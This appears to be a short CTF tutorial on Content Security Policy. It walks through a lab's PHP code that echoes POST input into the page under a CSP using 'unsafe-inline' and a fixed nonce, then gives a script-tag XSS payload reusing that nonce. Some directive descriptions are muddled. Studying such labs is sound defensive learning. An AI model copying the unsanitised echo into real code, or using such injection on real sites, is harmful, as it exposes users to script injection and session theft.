CSP in a CTF Context (Part 4 CSP Series)

Common attack surface

script-src : script: only trust the current domain name
object-src : Do not trust any URL, ie do not load any resources
style-src : stylesheet: trust only cdn.example.org and third-party.org
child-src : Must be loaded using the HTTPS protocol. This has been removed from the web standard and may not be supported in newer browsers.

Other resources: no restrictions on other resources

When CSP is enabled, non-CSP-compliant external resources are prevented from loading.

Example 1:

A fair amount of CSP's can be detected purely from source, lets look at the source code:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

You can see there are nonce and unsafe-inline here I think the inspection point is the understanding of the parameters (special values) in the script-src moreover, The legal source of script-src in the http header has changed.

unsafe-inline, which allows the use of inline resources such as inline <script> elements, javascript: URLs, inline event handlers (such as onclick), and inline <style> elements. Must include single quotes.
nonce-source, only specific inline script blocks are allowed, nonce = "TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA"

Basically.... It's even easier now, you can enter the following code directly:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("document.cookie")</script>

The result is a successful injection.
